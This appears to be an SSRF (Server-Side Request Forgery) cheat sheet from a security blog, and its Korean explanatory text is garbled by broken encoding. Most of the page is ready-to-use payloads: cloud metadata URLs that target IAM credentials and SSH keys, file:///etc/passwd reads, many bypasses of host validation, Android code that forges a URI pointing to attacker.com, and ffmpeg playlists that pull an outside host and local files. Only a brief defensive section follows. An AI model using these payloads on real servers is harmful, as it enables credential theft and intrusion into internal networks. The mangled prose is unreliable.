SSRF (Server-Side Request Forgery)

๐Ÿ” Introduction

SSRF๋Š” Server-Side Request Forgery์˜ ์•ฝ์ž๋กœ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋‹จ์—์„œ ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œ์ผœ ๋‚ด๋ถ€์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์™ธ๋ถ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

Why?

์„œ๋น„์Šค ๊ธฐ๋Šฅ์— ๋”ฐ๋ผ์„œ proxy ์„œ๋ฒ„์™€ ์œ ์‚ฌํ•˜๊ฒŒ ์„œ๋ฒ„๊ฐ€ ์›น ์š”์ฒญ์„ ๋Œ€์‹  ์ˆ˜ํ–‰ํ•ด์•ผํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ ์™ธ๋ถ€ Endpoint์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” URL์— ๊ด€๋ จ๋œ ์ •๋ณด๋ฅผ ๋ฐ›์•„์˜ค๋Š” ๊ฒฝ์šฐ ์™ธ๋ถ€์—์„œ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ฐœ๋ฐœ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ๋„๋ฉ”์ธ์œผ๋กœ ์›น ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

๋ณดํ†ต ์ด๋ฏธ์ง€๋ฅผ ์บก์ณํ•˜๊ฑฐ๋‚˜ ์›น ์‚ฌ์ดํŠธ์˜ ์ •๋ณด๋ฅผ ์ฝ์–ด์˜ค๋Š” ๊ธฐ๋Šฅ์—์„œ ์ž์ฃผ ๋ฐœ์ƒํ•˜๋ฉฐ, ์ •๋ง ์ƒ๊ฐ์ง€๋„ ์•Š๋Š” ๊ธฐ๋Šฅ์ค‘์— ๋‹ค๋ฅธ ์„œ๋น„์Šค๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์‰ฝ๊ฒŒ ์ฐพ๊ธฐ ์œ„ํ•ด์„œ๋Š” Callback ์„ฑ ๋„๊ตฌ(Burpsuite collaborator, ZAP OAST ๋“ฑ)๋ฅผ ํ™œ์šฉํ•ด์„œ OOB(Out-of-Band) ์™€ ์œ ์‚ฌํ•˜๊ฒŒ Callback์„ ๋ฐ›์„ ๋„๋ฉ”์ธ์„ ํŒŒ๋ผ๋ฏธํ„ฐ, ํ—ค๋” ๋“ฑ์œผ๋กœ ์š”์ฒญํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ์ „์†กํ•˜๋Š” ์š”์ฒญ์„ ํƒ์ง€ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๊ฐ€์žฅ ๋น ๋ฅด๊ณ  ํ™•์‹คํ•ฉ๋‹ˆ๋‹ค.

๊ฐ„ํ˜น ์ธํ”„๋ผ ๊ตฌ์กฐ์— ๋”ฐ๋ผ์„œ ์™ธ๋ถ€๋กœ ์š”์ฒญ์ด ๋ฐœ์ƒํ•˜์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ localhost, ์‚ฌ์„ค IP, ์‚ฌ์„ค ๋„๋ฉ”์ธ(์„œ๋ธŒ๋„๋ฉ”์ธ ์Šค์บ” ํ›„ IP๋ฅผ ๋น„๊ตํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค) ๋“ฑ์„ ํ˜ธ์ถœํ•˜๋ฉด์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์ฒดํฌํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

Exploitation

์™ธ๋ถ€/๋‚ด๋ถ€๋กœ ์ ‘์ ์„ ํ™•์ธํ–ˆ๋‹ค๋ฉด ์‹ค์ œ๋กœ ์˜ํ–ฅ๋ ฅ์„ ๋งŒ๋“ค์–ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๋ณดํ†ต ์ธํ”„๋ผ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ฃผ์š” ์‹œ์Šคํ…œ๋“ฑ์˜ ์‚ฌ์„ค๋„๋ฉ”์ธ/IP ๋กœ ์ ‘๊ทผํ•ด์„œ response๋ฅผ ํ†ตํ•ด ๋‚ด๋ถ€ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜, SSRF์˜ ํŠน์„ฑ ์ƒ DMZ๋‚˜ ๊ทธ ๋’ค์—์„œ ๋™์ž‘ํ•œ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•ด์„œ ALC ๋“ฑ ๋ณด์•ˆ ์ •์ฑ…์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” protocol์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ๋‚ด๋ถ€ ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ ํฌ์ธํŠธ๋„ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

1
2
3
4
Original: GET /get?url=https://external.service/1234.jpg
Exploit: GET /get?url=https://internal.service/
Exploit: GET /get?url=https://external.service/internal-api.json
Exploit: GET /get?url=file://etc/passwd

Exploitation - Public Cloud Service

AWS, GCP, Azure, Digital Ocean ๋“ฑ Public Cloud ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ Metadata API๋กœ ์ ‘๊ทผํ•ด์„œ Instance์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์–ป๊ฑฐ๋‚˜ ์ค‘์š”ํ•œ ํ‚ค ๊ฐ’์„ ์–ป์–ด ์‹œ์Šคํ…œ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋Š” ๋ฆฌ์Šคํฌ๋ฅผ ๋งŒ๋“ค์–ด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Metadata URLs (AWS)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

Metadata URLs (GCP)

1
2
3
4
5
6
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Metadata URLS (Digital Ocean)

1
2
3
4
5
6
7
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

์ด์™ธ์—๋„ ๊ต‰์žฅํžˆ ๋งŽ์€ Public Cloud Service์— ๋Œ€ํ•œ Metadata API๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery#ssrf-url-for-cloud-instances

Bypass protection

์šฐํšŒ ๋ฐฉ๋ฒ•์—๋„ ์—ฌ๋Ÿฌ๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

Localhost

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
http://127.0.0.1
http://0.0.0.0
http://localhost
http://[::]
http://0000::1
http://spoofed.burpcollaborator.net
http://localtest.me
http://localhost.hahwul.com
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://0/
http://127.1
http://127.0.1
http://2130706433
http://0177.0.0.1
http://o177.0.0.1
http://0o177.0.0.1
http://q177.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1] #IPv6

Basic bypass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com
http://localhost.hahwul.com/server-status

# if blacklist protection,
http://โ“Šโ“ƒโ“‰โ“‡โ“Šโ“ˆโ“‰.โ’ธโ“„โ“‚
http://โ“คโ“โ“ฃโ“กโ“คโ“ขโ“ฃ.โ“’โ“žโ“œ
http://โ’ฐโ’ฉโ’ฏโ’ญโ’ฐโ’ฎโ’ฏ.โ’žโ’ชโ’จ

Bypass with @

๋ณดํ†ต Era of SSRF๋กœ ๋งŽ์ด ์•Œ๋ ค์ง„ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. @๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹ค์ œ Host์™€ ๊ฒ€์ฆ์—์„œ ํ™•์ธํ•˜๋Š” Host๋ฅผ ๋‹ค๋ฅด๊ฒŒ ๋ถ„๋ฆฌ์‹œ์ผœ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋„๋ฉ”์ธ์œผ๋กœ ์ ‘๊ทผํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. SSRF ์ด์™ธ์—๋„ ๊ฐ์ข… ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์—์„œ ๋งŽ์ด ์‚ฌ์šฉ๋˜๊ธฐ ๋–„๋ฌธ์— ์ž˜ ์•Œ์•„๋‘์‹œ๋Š”๊ฒŒ ์ข‹์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://www.hahwul.com/2017/09/14/web-hacking-new-attack-vectors-in/

1
https://google.com@www.hahwul.com => www.hahwul.com

Bypass with Special chars

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
?url=http://allow_domain.internal_domain_or_ip/page
?url=http://allow_domain@internal_domain_or_ip/page
?url=http://internal_domain_or_ip#.allow_domain/page
?url=http://internal_domain_or_ip?.allow_domain/page
?url=http://internal_domain_or_ip\.allow_domain/page
?url=https://โ“ฆโ“ฆโ“ฆ.โ“—โ“โ“—โ“ฆโ“คโ“›.โ“’โ“žโ“œ = www.hahwul.com

[ List ]
โ‘  โ‘ก โ‘ข โ‘ฃ โ‘ค โ‘ฅ โ‘ฆ โ‘ง โ‘จ โ‘ฉ โ‘ช โ‘ซ โ‘ฌ โ‘ญ โ‘ฎ โ‘ฏ โ‘ฐ โ‘ฑ โ‘ฒ โ‘ณ
โ‘ด โ‘ต โ‘ถ โ‘ท โ‘ธ โ‘น โ‘บ โ‘ป โ‘ผ โ‘ฝ โ‘พ โ‘ฟ โ’€ โ’ โ’‚ โ’ƒ โ’„ โ’… โ’† โ’‡
โ’ˆ โ’‰ โ’Š โ’‹ โ’Œ โ’ โ’Ž โ’ โ’ โ’‘ โ’’ โ’“ โ’” โ’• โ’– โ’— โ’˜ โ’™ โ’š โ’›
โ’œ โ’ โ’ž โ’Ÿ โ’  โ’ก โ’ข โ’ฃ โ’ค โ’ฅ โ’ฆ โ’ง โ’จ โ’ฉ โ’ช โ’ซ โ’ฌ โ’ญ โ’ฎ โ’ฏ โ’ฐ โ’ฑ โ’ฒ โ’ณ โ’ด โ’ต
โ’ถ โ’ท โ’ธ โ’น โ’บ โ’ป โ’ผ โ’ฝ โ’พ โ’ฟ โ“€ โ“ โ“‚ โ“ƒ โ“„ โ“… โ“† โ“‡ โ“ˆ โ“‰ โ“Š โ“‹ โ“Œ โ“ โ“Ž โ“
โ“ โ“‘ โ“’ โ““ โ“” โ“• โ“– โ“— โ“˜ โ“™ โ“š โ“› โ“œ โ“ โ“ž โ“Ÿ โ“  โ“ก โ“ข โ“ฃ โ“ค โ“ฅ โ“ฆ โ“ง โ“จ โ“ฉ
โ“ช โ“ซ โ“ฌ โ“ญ โ“ฎ โ“ฏ โ“ฐ โ“ฑ โ“ฒ โ“ณ โ“ด โ“ต โ“ถ โ“ท โ“ธ โ“น โ“บ โ“ป โ“ผ โ“ฝ โ“พ โ“ฟ

Bypass with CNAME and A Record

SSRF ๋Œ€์ƒ์ด ์™ธ๋ถ€ ์š”์ฒญ์ด ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ URL์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋„๋ฉ”์ธ์œผ๋กœ ์š”์ฒญํ•˜๋Š”๋ฐ, ์ด ๋•Œ ํ•ด๋‹น ๋„๋ฉ”์ธ์˜ IP๋ฅผ ๋‚ด๋ถ€๋ง์œผ๋กœ ์ง€์ •ํ•˜์—ฌ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://www.hahwul.com/2019/02/19/bypass-ssrf-protection-using-domain-cname-arecord/

1
2
ping localhost.hahwul.com
PING localhost.hahwul.com (127.0.0.1): 56 data bytes

Bypass with AAAA Record (IPv6)

SSRF์— ๋Œ€ํ•œ ๋Œ€์‘ ๋ฐฉ๋ฒ• ์ค‘ ๊ฐ€์žฅ ํ™•์‹คํ•œ๊ฒŒ Endpoint์˜ ์‹ค์ œ IP๋ฅผ ์ฒดํฌํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ๋Œ€๋ถ€๋ถ„ Denie list ๊ธฐ๋ฐ˜(์ด๋Š” ์‚ฌ์„ค๋Œ€์—ญ์ด ๋ช…ํ™•ํ•˜๊ฒŒ ๊ตฌ๋ถ„๋˜๊ธฐ ๋•Œ๋ฌธ์ด์—์š”)์˜ ๋ณดํ˜ธ ๋กœ์ง์„ ์‚ฌ์šฉํ•˜๋Š”๋ฐ, ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ IPv6 ์ฃผ์†Œ๋ฅผ ์ด์šฉํ•˜์—ฌ ์šฐํšŒํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋„๋ฉ”์ธ ์„œ๋น„์Šค์—์„œ IPv6 ์ฃผ์†Œ๋Š” AAAA Record๋กœ ๋งคํ•‘ํ•ฉ๋‹ˆ๋‹ค.

  • localhostv6.hahwul.com (::1)

Bypass with Redirect

SSRF ๋Œ€์ƒ์ด ์™ธ๋ถ€ ์š”์ฒญ์ด ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ URL์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ์‚ฌ์ดํŠธ๋กœ ์š”์ฒญํ•œ ํ›„ ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ 301,302,307,308 ๋“ฑ์„ ์ด์šฉํ•ด HTTP Redirect๋ฅผ ํ†ตํ•ด ๋‚ด๋ถ€๋กœ๋„ ์ ‘๊ทผ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://www.hahwul.com/2019/02/22/bypass-ssrf-protection-using-http-redirect/

1
/?url=https://your.domain.com/redirect?url=http://internal.service

DNS Rebinding

DNS Rebinding์„ ์ด์šฉํ•˜๋ฉด 2๊ฐœ์˜ IP๊ฐ€ ๊ณต์กดํ•˜๋Š” ๋„๋ฉ”์ธ์„ ์ด์šฉํ•ด์„œ Host validation์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1
2
rebind.hahwul.com =>  127.0.0.1
                      169.254.169.254

DNS Change

DNS Rebinding๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ DNS์—์„œ A Record์˜ IP๋ฅผ ๋ฐ”๊พธ๋Š” ํ˜•ํƒœ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด๋Š” Host validation check์™€ ์‹ค์ œ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ธฐ๋Šฅ๊ฐ„์˜ ์‹œ๊ฐ„์ฐจ๊ฐ€ ์žˆ๊ฑฐ๋‚˜ ๋ฐ”๋ผ๋ณด๋Š” DNS ์„œ๋ฒ„๊ฐ€ ๋‹ค๋ฅธ ๊ฒฝ์šฐ์—๋งŒ ์œ ํšจํ•ฉ๋‹ˆ๋‹ค.

1
2
3
4
test.hahwul.com: external_ip and chenage internal_ip

1) host validator => external_ip
2) service => ineternal_ip

Bypass with jar protocol (Only Java)

1
2
3
4
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/

Bypass with HierarchicalUri (Only Android)

Android์˜ Host validation์˜ ์ฐจ์ด๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด์™ธ์—๋„ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ์œผ๋‹ˆ ํ•ด๋‹น ๋‚ด์šฉ์€ ์•„๋ž˜ ๋งํฌ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://www.hahwul.com/2019/09/23/bypass-host-validation-technique-in-android/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
Class partClass = Class.forName("android.net.Uri$Part");
	Constructor partConstructor = partClass.getDeclaredConstructors()[0];
	partConstructor.setAccessible(true);

	Class pathPartClass = Class.forName("android.net.Uri$PathPart");
	Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
	pathPartConstructor.setAccessible(true);

  Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
  Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
  hierarchicalUriConstructor.setAccessible(true);

  Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
  Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
  uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

Bypass with URL: Prefix (Only Java’s URL)

1
2
url:http://127.0.0.1:8080
url:file:///etc/passwd

Bypass with Location header

Response

1
2
301 Moved Permanently
Location: internal_endpoint

Bypass with 20x + Content-Location

Response

1
2
200 OK
Content-Location: internal_endpoint

Bypass with iframe (only headless)

1
2
3
4
200 OK

<iframe src="internal_endpoint">
</iframe>

Bypass with ffmpeg

1
2
3
4
5
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
https://internal_endpoint
#EXT-X-ENDLIST
1
2
3
4
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0, concat:http://dx.su/header.m3u8|file:///etc/passwd 
#EXT-X-ENDLIST

Bypass with TocToU

ToCToU๋Š” Time Of Check to Time Of Use์˜ ์‹œ๊ฐ„์ฐจ๋ฅผ ์ด์šฉํ•œ ๊ณต๊ฒฉ์ด๋ฉฐ ๋ณดํ†ต Race condition attack์—์„œ ๋งŽ์ด ๋‚˜์˜ค๋˜ ๊ฐœ๋…์ž…๋‹ˆ๋‹ค. URL ๊ฒ€์ฆ ๋กœ์ง๊ณผ ์‹ค์ œ ์š”์ฒญ ๋กœ์ง๊ฐ„์˜ ์ฐจ์ด๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์ด ๊ฐ„๊ฒฉ ์‚ฌ์ด์— IP๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ SSRF๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•œ IP ๊ฒ€์ฆ ๋“ฑ์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. (ToCToU SSRF ๊ธ€ ์ฐธ๊ณ )

์‹ค์ œ๋กœ ์•„๋ž˜ ์ผ€์ด์Šค์—์„œ ์œ ์šฉํ•˜๊ฒŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

  • URL ๋“ฑ๋ก ํ›„ ์ฃผ๊ธฐ์ ์œผ๋กœ Batch๊ฐ€ ๋„๋Š” ๊ฒฝ์šฐ
  • URL ๋“ฑ๋ก ํ›„ ์‚ฌ์šฉ์ž์˜ ํŠน์ • Interaction์ด ์žˆ๋Š” ๋•Œ ๋™์ž‘ํ•˜๋Š” ๊ฒฝ์šฐ
  • MSA ๊ตฌ์กฐ๋กœ ์ธํ•ด ๋”œ๋ ˆ์ด๊ฐ€ ๊ธด ๊ฒฝ์šฐ (๋‹ค๋งŒ ํƒ€์ด๋ฐ ๋งž์ถ”๊ธฐ๋Š” ๊ต‰์žฅํžˆ ํž˜๋“ญ๋‹ˆ๋‹ค)

DNS Pinning

Pinning Service

e.g

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
nslookup 169.254.169.254.xip.io
nslookup 1ynrnhl.xip.io
nslookup www.owasp.org.1ynrnhl.xip.io
nslookup 127.127.127.127.xip.io

nslookup 169.254.169.254.nip.io
nslookup app-169-254-169-254.nip.io
nslookup owasp.org.169.254.169.254.nip.io
nslookup customer2-app-169-254-169-254.nip.io
nslookup 127.127.127.127.nip.io

Blind SSRF Canaries & Chains

Blind SSRF๋ฅผ ๋‚ด๋ถ€์˜ ๋‹ค๋ฅธ SSRF, Open Redirect ๋“ฑ ๋‹ค๋ฅธ ์ด์Šˆ์™€ ์—ฐ๊ฒฐํ•˜์—ฌ ๋ฆฌ์Šคํฌ๋ฅผ ๋งŒ๋“ค์–ด๋‚ด๋Š” ๊ธฐ์ˆ ์„ Blind SSRF Canaries ๋ผ๊ณ  ๋ถ€๋ฆ…๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด๋Ÿฌํ•œ ๊ฒƒ๋“ค์„ Attack Chain์ฒ˜๋Ÿผ ํ•˜๋‚˜๋กœ ๋ฌถ๊ฒŒ๋˜๋ฉด ๋‹จ์ˆœํžˆ ๋‚ด๋ถ€๋ง์—์„œ ์š”์ฒญ์„ ํ˜ธ์ถœํ•˜๋Š” SSRF์—์„œ ์‹ค์ œ๋กœ ์ข€ ๋” ์˜ํ–ฅ์žˆ๋Š” ๋ฆฌ์Šคํฌ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ SSRF Chain ๋ฐฉ๋ฒ•์€ ์ด๋ฏธ ์•Œ๋ ค์ง„ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฐฉ๋ฒ•๋“ค์ด ์žˆ๊ณ , ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ AssetNode์—์„œ ์ž‘์„ฑํ•œ ๊ธ€์„ ์ฐธ๊ณ ํ•˜์‹œ๋Š”๊ฒŒ ์ข‹์Šต๋‹ˆ๋‹ค.

๐Ÿ›ก Defensive techniques

์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ URL, Path, Port ๋“ฑ ์š”์ฒญ์„ ์œ„ํ•œ ์žฌ๋ฃŒ๋ฅผ ๋ฐ›๋Š” ๊ฒฝ์šฐ ์˜๋„ํ•˜์ง€ ์•Š์€ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•  ์ˆ˜ ์—†๋„๋ก ์ •ํ™•ํ•˜๊ฒŒ ๊ฒ€์ฆํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์ •๊ทœ์‹ ๋“ฑ์œผ๋กœ ๊ฑธ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ฐ€๊ธ‰์  Application์—์„œ ์ œ๊ณตํ•˜๋Š” Host validation ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ Application์˜ Host validation์— ๋ฌธ์ œ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์œผ๋‹ˆ ์ด๋ฅผ ํ™œ์šฉํ•œ ์ƒํƒœ์—์„œ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ–ˆ๋‹ค๋ฉด, ์ถ”๊ฐ€์ ์ธ ์ฝ”๋“œ๋กœ 2์ค‘ ๊ฒ€์ฆ์„ ์ง„ํ–‰ํ•˜๋Š”๊ฒŒ ์ข‹์Šต๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Apr 22, 2022 22:33 +0900